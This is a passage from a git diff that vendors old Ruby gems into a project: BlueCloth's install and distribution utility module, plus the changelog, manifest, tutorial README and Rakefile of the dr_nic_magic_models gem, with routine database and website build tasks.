mPlugin; + struct _NSSize mViewSize; + } + + - (void)dealloc; + - (BOOL)isEqual:(id)fp12; + - (id)description; + - (id)initWithPath:(id)fp12; + - (id)path; + - (id)bundle; + - (id)bundleInfo; + - (BOOL)isValidExportPlugin; + - (BOOL)loadPlugin; + - (id)exportPlugin; + - (void)unloadPlugin; + - (id)view; + - (struct _NSSize)viewSize; + - (void)setPath:(id)fp12; + - (void)setBundle:(id)fp12; + + @end + diff --git a/vendor/gems/BlueCloth-1.0.0/utils.rb b/vendor/gems/BlueCloth-1.0.0/utils.rb new file mode 100644 index 0000000..67c5582 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/utils.rb @@ -0,0 +1,553 @@ +# +# Install/distribution utility functions +# $Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $ +# +# Copyright (c) 2001-2004, The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + + +BEGIN { + require 'find' + + begin + require 'readline' + include Readline + rescue LoadError => e + $stderr.puts "Faking readline..." + def readline( prompt ) + $stderr.print prompt.chomp + return $stdin.gets.chomp + end + end +} + +class File + Win32Exts = %w{.exe .com .bat} + + def self::which( prog, path=ENV['PATH'] ) + path.split(File::PATH_SEPARATOR).each {|dir| + # If running under Windows, look for prog + extensions + if File::ALT_SEPARATOR + ext = Win32Exts.find_all {|ext| + f = File::join(dir, prog+ext) + File::executable?(f) && !File::directory?(f) + } + ext.each {|f| + f = File::join( dir, prog + f ).gsub(%r:/:,'\\') + if block_given? then yield( f ) else return f end + } + else + f = File::join( dir, prog ) + if File::executable?( f ) && ! File::directory?( f ) + if block_given? then yield(f) else return f end + end + end + } + end + +end + + +module UtilityFunctions + + # The list of regexen that eliminate files from the MANIFEST + ANTIMANIFEST = [ + /makedist\.rb/, + /\bCVS\b/, + /~$/, + /^#/, + %r{docs/html}, + %r{docs/man}, + /\bTEMPLATE\.\w+\.tpl\b/, + /\.cvsignore/, + /\.s?o$/, + ] + AMRegexp = Regexp::union( *ANTIMANIFEST ) + + # Set some ANSI escape code constants (Shamelessly stolen from Perl's + # Term::ANSIColor by Russ Allbery and Zenin + AnsiAttributes = { + 'clear' => 0, + 'reset' => 0, + 'bold' => 1, + 'dark' => 2, + 'underline' => 4, + 'underscore' => 4, + 'blink' => 5, + 'reverse' => 7, + 'concealed' => 8, + + 'black' => 30, 'on_black' => 40, + 'red' => 31, 'on_red' => 41, + 'green' => 32, 'on_green' => 42, + 'yellow' => 33, 'on_yellow' => 43, + 'blue' => 34, 'on_blue' => 44, + 'magenta' => 35, 'on_magenta' => 45, + 'cyan' => 36, 'on_cyan' => 46, + 'white' => 37, 'on_white' => 47 + } + + ErasePreviousLine = "\033[A\033[K" + + + ############### + module_function + ############### + + # Create a string that contains the ANSI codes specified and return it + def ansiCode( *attributes ) + return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] + attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') + if attr.empty? + return '' + else + return "\e[%sm" % attr + end + end + + + # Test for the presence of the specified library, and output a + # message describing the test using nicename. If nicename + # is nil, the value in library is used to build a default. + def testForLibrary( library, nicename=nil ) + nicename ||= library + message( "Testing for the #{nicename} library..." ) + found = false + + begin + require library + rescue LoadError => err + message "no found (%s)\n" % err.message + else + message "found\n" + found = true + end + + return found + end + + + # Test for the presence of the specified library, and output a + # message describing the problem using nicename. If + # nicename is nil, the value in library is used + # to build a default. If raaUrl and/or downloadUrl are + # specified, they are also use to build a message describing how to find the + # required library. If fatal is true, a missing library + # will cause the program to abort. + def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) + nicename ||= library + unless testForLibrary( library, nicename ) + msgs = [ "You are missing the required #{nicename} library.\n" ] + msgs << "RAA: #{raaUrl}\n" if raaUrl + msgs << "Download: #{downloadUrl}\n" if downloadUrl + if fatal + abort msgs.join('') + else + errorMessage msgs.join('') + end + end + return true + end + + ### Output msg as a ANSI-colored program/section header (white on + ### blue). + def header( msg ) + msg.chomp! + $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output msg to STDERR and flush it. + def message( msg ) + $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output the specified msg as an ANSI-colored error message + ### (white on red). + def errorMessage( msg ) + message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) + end + + ### Output the specified msg as an ANSI-colored debugging message + ### (yellow on blue). + def debugMsg( msg ) + return unless $DEBUG + msg.chomp! + $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) + $stderr.flush + end + + ### Erase the previous line (if supported by your terminal) and output the + ### specified msg instead. + def replaceMessage( msg ) + print ErasePreviousLine + message( msg ) + end + + ### Output a divider made up of length hyphen characters. + def divider( length=75 ) + puts "\r" + ("-" * length ) + end + alias :writeLine :divider + + ### Output the specified msg colored in ANSI red and exit with a + ### status of 1. + def abort( msg ) + print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" + Kernel.exit!( 1 ) + end + + ### Output the specified promptString as a prompt (in green) and + ### return the user's input with leading and trailing spaces removed. + def prompt( promptString ) + promptString.chomp! + return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip + end + + ### Prompt the user with the given promptString via #prompt, + ### substituting the given default if the user doesn't input + ### anything. + def promptWithDefault( promptString, default ) + response = prompt( "%s [%s]" % [ promptString, default ] ) + if response.empty? + return default + else + return response + end + end + + ### Search for the program specified by the given progname in the + ### user's PATH, and return the full path to it, or nil if + ### no such program is in the path. + def findProgram( progname ) + ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| + file = File.join( d, progname ) + return file if File.executable?( file ) + } + return nil + end + + ### Using the CVS log for the given file attempt to guess what the + ### next release version might be. This only works if releases are tagged + ### with tags like 'RELEASE_x_y'. + def extractNextVersionFromTags( file ) + message "Attempting to extract next release version from CVS tags for #{file}...\n" + raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) + cvsPath = findProgram( 'cvs' ) or + raise RuntimeError, "Cannot find the 'cvs' program. Aborting." + + output = %x{#{cvsPath} log #{file}} + release = [ 0, 0 ] + output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| + if $1.to_i > release[0] || $2.to_i > release[1] + release = [ $1.to_i, $2.to_i ] + replaceMessage( "Found %d.%02d...\n" % release ) + end + } + + if release[1] >= 99 + release[0] += 1 + release[1] = 1 + else + release[1] += 1 + end + + return "%d.%02d" % release + end + + + ### Write a new manifest file with the given +named+, moving any current one + ### aside with an ".old" suffix if +backup+ is true. + def makeManifest( name="MANIFEST", backup=true ) + message "Making manifest file '#{name}'" + + # Move an old one aside if a backup is desired + if backup and File::exists?( name ) + File::rename( name, name + ".old" ) + end + + File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| + Find::find( "." ) do |file| + Find.prune if AMRegexp =~ file + Find.prune if %r{/\.} =~ file + Find.prune if /TEMPLATE/ =~ file + next if File::directory?( file ) + + ofh.puts file + end + } + end + + + ### Read the specified manifestFile, which is a text file + ### describing which files to package up for a distribution. The manifest + ### should consist of one or more lines, each containing one filename or + ### shell glob pattern. + def readManifest( manifestFile="MANIFEST" ) + message "Reading manifest..." + raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile + + manifest = IO::readlines( manifestFile ).collect {|line| + line.chomp + }.select {|line| + line !~ /^(\s*(#.*)?)?$/ + } + + filelist = [] + for pat in manifest + $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE + filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} + end + + message "found #{filelist.length} files.\n" + return filelist + end + + + ### Given a filelist like that returned by #readManifest, remove + ### the entries therein which match the Regexp objects in the given + ### antimanifest and return the resultant Array. + def vetManifest( filelist, antimanifest=ANITMANIFEST ) + origLength = filelist.length + message "Vetting manifest..." + + for regex in antimanifest + if $VERBOSE + message "\n\tPattern /#{regex.source}/ removed: " + + filelist.find_all {|file| regex.match(file)}.join(', ') + end + filelist.delete_if {|file| regex.match(file)} + end + + message "removed #{origLength - filelist.length} files from the list.\n" + return filelist + end + + ### Combine a call to #readManifest with one to #vetManifest. + def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) + vetManifest( readManifest(manifestFile), antimanifest ) + end + + ### Given a documentation catalogFile, extract the title, if + ### available, and return it. Otherwise generate a title from the name of + ### the CVS module. + def findRdocTitle( catalogFile="docs/CATALOG" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Title: Foo Bar Module + title = findCatalogKeyword( 'title', catalogFile ) + + # If that doesn't work for some reason, try grabbing the name of the CVS + # repository the directory belongs to. + if title.nil? && File::directory?( "CVS" ) && + File::exists?( "CVS/Repository" ) + title = File::read( "CVS/Repository" ).chomp + end + + # As a last resort, use the name of the project directory + if title.nil? + distdir = File::dirname( __FILE__ ) + distdir = File::dirname( distdir ) if /docs$/ =~ distdir + title = File::basename( distdir ) + end + + return title + end + + ### Given a documentation catalogFile, extract the name of the file + ### to use as the initally displayed page. If extraction fails, the + ### +default+ will be used if it exists. Returns +nil+ if there is no main + ### file to be found. + def findRdocMain( catalogFile="docs/CATALOG", default="README" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Main: Foo Bar Module + main = findCatalogKeyword( 'main', catalogFile ) + + # Try to make some educated guesses if that doesn't work + if main.nil? + basedir = File::dirname( __FILE__ ) + basedir = File::dirname( basedir ) if /docs$/ =~ basedir + + if File::exists?( File::join(basedir, default) ) + main = default + end + end + + return main + end + + + ### Given a documentation catalogFile, extract an upload URL for + ### RDoc. + def findRdocUpload( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'upload', catalogFile ) + end + + + ### Given a documentation catalogFile, extract a CVS web frontend + ### URL for RDoc. + def findRdocCvsURL( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'webcvs', catalogFile ) + end + + + ### Given a documentation catalogFile, try extracting the given + ### +keyword+'s value from it. Keywords are lines that look like: + ### # : + ### Returns +nil+ if the catalog file was unreadable or didn't contain the + ### specified +keyword+. + def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) + val = nil + + if File::exists? catalogFile + message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile + File::foreach( catalogFile ) {|line| + debugMsg( "Examining line #{line.inspect}..." ) + val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line + } + end + + return val + end + + + ### Given a documentation catalogFile, which is in the same format + ### as that described by #readManifest, read and expand it, and then return + ### a list of those files which appear to have RDoc documentation in + ### them. If catalogFile is nil or does not exist, the MANIFEST + ### file is used instead. + def findRdocableFiles( catalogFile="docs/CATALOG" ) + startlist = [] + if File.exists? catalogFile + message "Using CATALOG file (%s).\n" % catalogFile + startlist = getVettedManifest( catalogFile ) + else + message "Using default MANIFEST\n" + startlist = getVettedManifest() + end + + message "Looking for RDoc comments in:\n" if $VERBOSE + startlist.select {|fn| + message " #{fn}: " if $VERBOSE + found = false + File::open( fn, "r" ) {|fh| + fh.each {|line| + if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} + found = true + break + end + } + } + + message( (found ? "yes" : "no") + "\n" ) if $VERBOSE + found + } + end + + ### Open a file and filter each of its lines through the given block a + ### line at a time. The return value of the block is used as the + ### new line, or omitted if the block returns nil or + ### false. + def editInPlace( file ) # :yields: line + raise "No block specified for editing operation" unless block_given? + + tempName = "#{file}.#{$$}" + File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| + File::unlink( tempName ) + File::open( file, File::RDONLY ) {|fh| + fh.each {|line| + newline = yield( line ) or next + tempfile.print( newline ) + } + } + + tempfile.seek(0) + + File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| + newfile.print( tempfile.read ) + } + } + end + + ### Execute the specified shell command, read the results, and + ### return them. Like a %x{} that returns an Array instead of a String. + def shellCommand( *command ) + raise "Empty command" if command.empty? + + cmdpipe = IO::popen( command.join(' '), 'r' ) + return cmdpipe.readlines + end + + ### Execute a block with $VERBOSE set to +false+, restoring it to its + ### previous value before returning. + def verboseOff + raise LocalJumpError, "No block given" unless block_given? + + thrcrit = Thread.critical + oldverbose = $VERBOSE + begin + Thread.critical = true + $VERBOSE = false + yield + ensure + $VERBOSE = oldverbose + Thread.critical = false + end + end + + + ### Try the specified code block, printing the given + def try( msg, bind=nil ) + result = nil + if msg =~ /^to\s/ + message = "Trying #{msg}..." + else + message = msg + end + + begin + rval = nil + if block_given? + rval = yield + else + file, line = caller(1)[0].split(/:/,2) + rval = eval( msg, bind, file, line.to_i ) + end + + result = rval.inspect + rescue Exception => err + if err.backtrace + nicetrace = err.backtrace.delete_if {|frame| + /in `(try|eval)'/ =~ frame + }.join("\n\t") + else + nicetrace = "Exception had no backtrace" + end + + result = err.message + "\n\t" + nicetrace + ensure + puts result + end + end + + def time + start = Time::now + stimes = Process::times + rval = yield + etimes = Process::times + $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ + etimes.utime - stimes.utime, + etimes.stime - stimes.stime, + Time::now.to_f - start.to_f, + ] + + return rval + end + +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/CHANGELOG b/vendor/gems/dr_nic_magic_models-0.9.2/CHANGELOG new file mode 100644 index 0000000..43c5a55 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/CHANGELOG @@ -0,0 +1,9 @@ +* 0.2.5 * - Initial public release +- ActiveRecords can now be auto-created in memory when first referenced + from their table name, without an explicit class definition. +- ActiveRecords will automatically include validates_presence_of on + each field with :null => false +- ActiveRecords will automatically generate simple has_many, has_one, + belongs_to assocations based upon assumed foreign keys. E.g. + foreign key to products table is assumed to be product_id. + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/History.txt b/vendor/gems/dr_nic_magic_models-0.9.2/History.txt new file mode 100644 index 0000000..3c09e90 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/History.txt @@ -0,0 +1,28 @@ +*** 0.9.2 / 2007-4-30 + ++ 1 major buxfix: + + #generate_validations now works if you haven't already created a connection to the database; previously + validations wouldn't get created until you had already established the connection; now it does it for + you if its not already established + + Associations can be generated via the assignment methods, e.g. @membership.group= will generate the "belongs_to :group" association now. This allows the website tutorial to work correctly! Yay. That is, you can now do: Membership.create(:person => person, :group => group) + + has_many's should work now + +*** 0.9.1 / 2007-4-11 + ++ 1 minor enhancement: + + ActiveRecord::Base includes all the magic model functionality via the MagicModel module + + Existing ARs can get magic validation via #generate_validations call + + Website tutorial works :D + +*** 0.9.0 / 2007-4-9 + ++ 1 major enhancement: + + Support for dynamic loading of classes again ++ 2 new DB supported: + + Tests run on sqlite (no fk support) + + Tests run on postgresql (fk support) + + Including FK bug fix ++ Many fixes that I've lost track of ++ History.txt to keep track of changes like these ++ Using Hoe for Rakefile ++ Use modules to specify common table prefixes diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/Manifest.txt b/vendor/gems/dr_nic_magic_models-0.9.2/Manifest.txt new file mode 100644 index 0000000..1cf2c98 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/Manifest.txt @@ -0,0 +1,56 @@ +CHANGELOG +History.txt +Manifest.txt +README +Rakefile +install.rb +lib/base.rb +lib/connection_adapters/abstract/schema_statements.rb +lib/connection_adapters/abstract_adapter.rb +lib/connection_adapters/mysql_adapter.rb +lib/connection_adapters/postgresql_adapter.rb +lib/dr_nic_magic_models.rb +lib/dr_nic_magic_models/inflector.rb +lib/dr_nic_magic_models/magic_model.rb +lib/dr_nic_magic_models/schema.rb +lib/dr_nic_magic_models/validations.rb +lib/dr_nic_magic_models/version.rb +lib/module.rb +lib/rails.rb +scripts/txt2html +scripts/txt2js +test.db +test/abstract_unit.rb +test/connections/native_mysql/connection.rb +test/connections/native_postgresql/connection.rb +test/connections/native_sqlite/connection.rb +test/dummy_test.rb +test/env_test.rb +test/fixtures/.DS_Store +test/fixtures/adjectives.yml +test/fixtures/adjectives_fun_users.yml +test/fixtures/db_definitions/mysql.drop.sql +test/fixtures/db_definitions/mysql.sql +test/fixtures/db_definitions/postgresql.sql +test/fixtures/db_definitions/sqlite.sql +test/fixtures/fun_users.yml +test/fixtures/group_memberships.yml +test/fixtures/group_tag.yml +test/fixtures/groups.yml +test/foreign_keys_test.rb +test/fun_user_plus.rb +test/invisible_model_access_test.rb +test/invisible_model_assoc_test.rb +test/invisible_model_classes_test.rb +test/magic_module_test.rb +test/test_existing_model.rb +website/index.html +website/index.txt +website/javascripts/rounded_corners_lite.inc.js +website/stylesheets/screen.css +website/template.js +website/template.rhtml +website/version-raw.js +website/version-raw.txt +website/version.js +website/version.txt diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/README b/vendor/gems/dr_nic_magic_models-0.9.2/README new file mode 100644 index 0000000..0af8c80 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/README @@ -0,0 +1,294 @@ +See http://magicmodels.rubyforge.org/dr_nic_magic_models for pretty README + +Ugly README (from website/index.txt in Textile format): +h1. Dr Nic's Magic Models + +If you've used Ruby on Rails you'll have written at least one model class like this: + +
    +class Person < ActiveRecord::Base
    +  has_many :memberships
    +  has_many :groups, :through => :memberships
    +  belongs_to :family
    +  validates_presence_of :firstname, :lastname, :email
    +end
    +
    + +A few minutes later you'll have wondered to yourself, + +
    +Why do I have write my own has_many, belongs_to, and validates_presence_of +commands if all the data is in the database schema? +
    + +Now, for the very first time, your classes can look like this: + +
    +class Person < ActiveRecord::Base
    +end
    +
    + +or, if you are lazy... + +
    +class Person < ActiveRecord::Base; end
    +
    + +or, if you read right to the end of this page, this... + +
    +# Go fish.
    +
    + +Magic and mystery abound. All for you. Impress your friends, amaze your mother. + +NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery, +for magic needs a magician; and I love magic. I always wanted to create my own magic trick. +So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too, +if Harry were 32 and better dressed. + +h2. Installation + +To install the Dr Nic's Magic Models gem you can run the following command to +fetch the gem remotely from RubyForge: +
    +gem install dr_nic_magic_models
    +
    + +or "download the gem manually":http://rubyforge.org/projects/magicmodels and +run the above command in the download directory. + +Now you need to require the gem into your Ruby/Rails app. Insert the following +line into your script (use config/environment.rb for your Rails apps): + +
    +require 'dr_nic_magic_models'
    +
    + +Your application is now blessed with magical mystery. + +h2. David Copperfield eat your Ruby-crusted heart out + +Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas): + +
    +rails magic_show -d sqlite3
    +cd magic_show
    +ruby script/generate model Person
    +ruby script/generate model Group
    +ruby script/generate model Membership
    +
    + +Update the migration 001_create_people.rb with: +
    +class CreatePeople < ActiveRecord::Migration
    +  def self.up
    +    create_table :people do |t|
    +      t.column :firstname, :string, :null => false
    +      t.column :lastname, :string, :null => false
    +      t.column :email, :string, :null => false
    +    end
    +  end
    +
    +  def self.down
    +    drop_table :people
    +  end
    +end
    +
    + +Similarly, update the def self.up method of 002_create_groups.rb +with: +
    +    create_table :groups do |t|
    +      t.column :name, :string, :null => false
    +      t.column :description, :string
    +    end
    +
    + +and 003_create_memberships.rb with: +
    +    create_table :memberships do |t|
    +      t.column :person_id, :integer, :null => false
    +      t.column :group_id, :integer, :null => false
    +    end
    +
    + +And run your migrations to create the three tables: +
    +rake db:migrate
    +
    + +h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ... + +At the end of config/environment.rb add the following line: + +
    +require 'dr_nic_magic_models'
    +
    + +Now, let's do a magic trick. First, let's check our model classes (app/models/person.rb etc): + +
    +class Person < ActiveRecord::Base
    +end
    +class Group < ActiveRecord::Base
    +end
    +class Membership < ActiveRecord::Base
    +end
    +
    + +Nothing suspicious here. We have no validations and no associations. Just some plain old model classes. + +UPDATE: To turn on magic validations, you now need to invoke generate_validations on defined classes. So, update your model classes: + +
    +class Person < ActiveRecord::Base
    +  generate_validations
    +end
    +class Group < ActiveRecord::Base
    +  generate_validations
    +end
    +class Membership < ActiveRecord::Base
    +  generate_validations
    +end
    +
    + +For this trick, we'll need an ordinary console session. Any old one lying around the house will do. + +
    +ruby script/console
    +
    + +Now a normal model class is valid until you explicitly add validates_xxx commands. +With Dr Nic's Magic Models: + +
    +person = Person.new
    +=> #"", "firstname"=>"", "email"=>""}, @new_record=true>
    +person.valid?
    +=> false
    +person.errors
    +=> #["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
    +	 @base=#, @new_record=true, 
    +		@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
    +
    + +*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call generate_validations on each class as required) + +Because you specified the three columns as :null => false, +your ActiveRecord models will now automagically generated validates_presence_of +for each non-null field, plus several other validations (since version 0.8.0). + +Ok, we're just warming up. + +Your models normally require association commands (has_many, belongs_to, etc, as +demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for. + +Let's just watch what Dr Nic's Magic Models can do without any effort at all... + +
    +person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
    +group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
    +membership = Membership.create(:person => person, :group => group)
    +person.memberships.length
    +=> 1
    +membership.person
    +=> "Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +group.memberships
    +=> ["1", "id"=>"1", "person_id"=>"1"}>]
    +
    + + +The final association trick is a ripper. Automatic generation of has_many :through associations... + +
    +>> person.groups
    +=> ["Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +>> group.people
    +=> ["Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
    +
    + +h3. Drum roll... + +Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do +something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html +illusion that has been passed down through generations of magicians. + +Exit your console session. + +DELETE your three model classes: person.rb, group.rb, and membership.rb from the +app/models folder. (You can always get them back via the model generator... be fearless!) + +
    rm app/models/*.rb
    + +Re-launch your console. + +*drums are still rolling...* + +Be prepared to applaud loudly... + +
    +>> Person
    +=> Person
    +
    + +You applaud loudly, but watch for more... + +
    +>> Person.new.valid?
    +=> false
    +>> person = Person.find(1)
    +=> "Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +>> person.valid?
    +=> true
    +>> person.memberships
    +=> ["1", "id"=>"1", "person_id"=>"1"}>]
    +>> person.groups
    +=> ["Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +
    + +h3. Tada! + +The end. + +h3. Use modules to scope your magic + +Only want to pick up tables starting with blog_? + +
    module Blog
    +  magic_module :table_name_prefix => 'blog_'
    +end
    +
    +Blog::Post.table_name #	=> 'blog_posts'
    +
    + +h2. Dr Nic's Blog + +"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and +other stories and things. + +h2. Articles about Magic Models + +* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/ +* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/ + + +h2. Forum + +"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels + +h2. Licence + +This code is free to use under the terms of the MIT licence. + +h2. Contact + +Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com +or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/Rakefile b/vendor/gems/dr_nic_magic_models-0.9.2/Rakefile new file mode 100644 index 0000000..402e2bf --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/Rakefile @@ -0,0 +1,134 @@ +require 'rubygems' +require 'rake' +require 'rake/clean' +require 'rake/testtask' +require 'rake/rdoctask' +require 'rake/packagetask' +require 'rake/gempackagetask' +require 'rake/contrib/rubyforgepublisher' +require 'hoe' +require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models', 'version') + +AUTHOR = "nicwilliams" # can also be an array of Authors +EMAIL = "drnicwilliams@gmail.com" +DESCRIPTION = "Dr Nic's Magic Models - Invisible validations, assocations and Active Record models themselves!" +GEM_NAME = "dr_nic_magic_models" # what ppl will type to install your gem +RUBYFORGE_PROJECT = "magicmodels" # The unix name for your project +HOMEPATH = "http://#{RUBYFORGE_PROJECT}.rubyforge.org" + + +NAME = "magic_multi_connections" +REV = nil # UNCOMMENT IF REQUIRED: File.read(".svn/entries")[/committed-rev="(d+)"/, 1] rescue nil +VERS = ENV['VERSION'] || (DrNicMagicModels::VERSION::STRING + (REV ? ".#{REV}" : "")) +CLEAN.include ['**/.*.sw?', '*.gem', '.config'] +RDOC_OPTS = ['--quiet', '--title', "dr_nic_magic_models documentation", + "--opname", "index.html", + "--line-numbers", + "--main", "README", + "--inline-source"] + +class Hoe + def extra_deps + @extra_deps.reject { |x| Array(x).first == 'hoe' } + end +end + +# Generate all the Rake tasks +# Run 'rake -T' to see list of generated tasks (from gem root directory) +hoe = Hoe.new(GEM_NAME, VERS) do |p| + p.author = AUTHOR + p.description = DESCRIPTION + p.email = EMAIL + p.summary = DESCRIPTION + p.url = HOMEPATH + p.rubyforge_name = RUBYFORGE_PROJECT if RUBYFORGE_PROJECT + p.test_globs = ["test/**/test_*.rb"] + p.clean_globs = CLEAN #An array of file patterns to delete on clean. + + # == Optional + p.changes = p.paragraphs_of("History.txt", 0..1).join("\n\n") + + #p.extra_deps - An array of rubygem dependencies. + #p.spec_extras - A hash of extra values to set in the gemspec. +end + +# Run the unit tests + +for adapter in %w( sqlite mysql postgresql ) # UNTESTED - postgresql sqlite sqlite3 firebird sqlserver sqlserver_odbc db2 oracle sybase openbase ) + Rake::TestTask.new("test_#{adapter}") { |t| + t.libs << "test" << "test/connections/native_#{adapter}" + t.pattern = "test/*_test{,_#{adapter}}.rb" + t.verbose = true + } +end + +SCHEMA_PATH = File.join(File.dirname(__FILE__), *%w(test fixtures db_definitions)) + +desc 'Build the MySQL test databases' +task :build_mysql_databases do + puts File.join(SCHEMA_PATH, 'mysql.sql') + %x( mysqladmin -u root create "#{GEM_NAME}_unittest" ) + cmd = "mysql -u root #{GEM_NAME}_unittest < \"#{File.join(SCHEMA_PATH, 'mysql.sql')}\"" + puts "#{cmd}\n" + %x( #{cmd} ) +end + +desc 'Drop the MySQL test databases' +task :drop_mysql_databases do + %x( mysqladmin -u root -f drop "#{GEM_NAME}_unittest" ) +end + +desc 'Rebuild the MySQL test databases' +task :rebuild_mysql_databases => [:drop_mysql_databases, :build_mysql_databases] + +desc 'Build the sqlite test databases' +task :build_sqlite_databases do + # puts File.join(SCHEMA_PATH, 'sqlite.sql') + # %x( sqlite3 test.db < test/fixtures/db_definitions/sqlite.sql ) + file = File.join(SCHEMA_PATH, 'sqlite.sql') + cmd = "sqlite3 test.db < #{file}" + puts cmd + %x( #{cmd} ) +end + +desc 'Drop the sqlite test databases' +task :drop_sqlite_databases do + %x( rm -f test.db ) +end + +desc 'Rebuild the sqlite test databases' +task :rebuild_sqlite_databases => [:drop_sqlite_databases, :build_sqlite_databases] + +desc 'Build the PostgreSQL test databases' +task :build_postgresql_databases do + %x( createdb "#{GEM_NAME}_unittest" ) + %x( psql "#{GEM_NAME}_unittest" -f "#{File.join(SCHEMA_PATH, 'postgresql.sql')}" ) +end + +desc 'Drop the PostgreSQL test databases' +task :drop_postgresql_databases do + %x( dropdb "#{GEM_NAME}_unittest" ) +end + +desc 'Rebuild the PostgreSQL test databases' +task :rebuild_postgresql_databases => [:drop_postgresql_databases, :build_postgresql_databases] + + +desc 'Generate website files' +task :website_generate do + sh %{ ruby scripts/txt2html website/index.txt > website/index.html } + sh %{ ruby scripts/txt2js website/version.txt > website/version.js } + sh %{ ruby scripts/txt2js website/version-raw.txt > website/version-raw.js } +end + +desc 'Upload website files to rubyforge' +task :website_upload do + config = YAML.load(File.read(File.expand_path("~/.rubyforge/user-config.yml"))) + host = "#{config["username"]}@rubyforge.org" + remote_dir = "/var/www/gforge-projects/#{RUBYFORGE_PROJECT}/#{GEM_NAME}" + local_dir = 'website' + sh %{rsync -av --delete #{local_dir}/ #{host}:#{remote_dir}} +end + +desc 'Generate and upload website files' +task :website => [:website_generate, :website_upload] diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/init.rb b/vendor/gems/dr_nic_magic_models-0.9.2/init.rb new file mode 100644 index 0000000..3df0c5e --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/init.rb @@ -0,0 +1,3 @@ + + require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models') + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/install.rb b/vendor/gems/dr_nic_magic_models-0.9.2/install.rb new file mode 100644 index 0000000..da7af40 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/install.rb @@ -0,0 +1,30 @@ +require 'rbconfig' +require 'find' +require 'ftools' + +include Config + +# this was adapted from rdoc's install.rb by ways of Log4r + +$sitedir = CONFIG["sitelibdir"] +unless $sitedir + version = CONFIG["MAJOR"] + "." + 